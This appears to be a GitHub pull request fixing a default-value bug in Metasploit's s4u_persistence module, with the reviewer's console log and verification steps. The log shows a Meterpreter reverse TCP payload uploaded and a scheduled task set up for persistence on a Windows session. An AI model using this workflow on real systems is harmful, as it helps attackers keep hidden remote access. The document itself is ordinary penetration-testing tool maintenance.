Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix buggy default in s4u_persistence module #17351

Merged
merged 1 commit into from
Dec 9, 2022

Conversation

smashery
Copy link
Contributor

@smashery smashery commented Dec 9, 2022

The s4u_persistence module, by default, incorrectly set the frequency value, which led to a confusing error message. This fixes that by correctly providing a default in the case of the value being nil.

Previously, if it was nil, this would be treated as "Oh, the user provided a value for us", and this nothingness would be inserted into the XML. Then, you'd receive a failed exploit with the error message:

[-] Error: ERROR: The task XML contains a value which is incorrectly formatted or out of range.
(10,25):Interval:PTM

The fix here is just to check for nil, and set an appropriate default.

Verification

List the steps needed to make sure this thing works

  • Start msfconsole
  • Obtain a session (e.g. Win10)
  • use s4u_persistence
  • set session <id>
  • run
  • Should see the message "Defaulting frequency to every hour"
  • Open Task Scheduler on the victim system, and verify that the task was created, with an interval of every hour

@smashery smashery added the bug label Dec 9, 2022
@smcintyre-r7 smcintyre-r7 self-assigned this Dec 9, 2022
@smcintyre-r7 smcintyre-r7 added module easy rn-fix release notes fix labels Dec 9, 2022
Copy link
Contributor

@smcintyre-r7 smcintyre-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I was able to reproduce the original issue and validate this fixes it. Thanks @smashery!

msf6 exploit(windows/local/s4u_persistence) > show options 

Module options (exploit/windows/local/s4u_persistence):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   EXPIRE_TIME  0                no        Number of minutes until trigger expires
   FREQUENCY                     no        Schedule trigger: Frequency in minutes to execute
   PATH         %TEMP%           no        PATH to write payload
   REXENAME                      no        Name of exe on remote system
   RTASKNAME                     no        Name of task on remote system
   SESSION                       yes       The session to run this module on
   TRIGGER      schedule         yes       Payload trigger method (Accepted: event, lock, logon, schedule, unlock)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.250.134  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows



View the full module info with the info, or info -d command.

msf6 exploit(windows/local/s4u_persistence) > set SESSION -1
SESSION => -1
msf6 exploit(windows/local/s4u_persistence) > 

msf6 exploit(windows/local/s4u_persistence) > run

[*] Started reverse TCP handler on 192.168.250.134:4444 
[+] Successfully Uploaded remote executable to %TEMP%\LQyuSSZscTCK.exe
[*] Defaulting frequency to every hour
[+] Successfully wrote XML file to %TEMP%\wfLLsGbitudHq.xml
[+] Persistence task HYalWOjeKE created successfully
[*] To delete task:      schtasks /delete /tn "HYalWOjeKE" /f
[*] To delete payload:   del %TEMP%\LQyuSSZscTCK.exe
[!] Could not delete file %TEMP%\wfLLsGbitudHq.xml, delete manually

[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/s4u_persistence) > 

@smcintyre-r7 smcintyre-r7 merged commit d9b217e into rapid7:master Dec 9, 2022
@smcintyre-r7
Copy link
Contributor

Release Notes

This fixes an issue in the exploit/windows/local/s4u_persistence module where the default value for FREQUENCY would cause an error.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

2 participants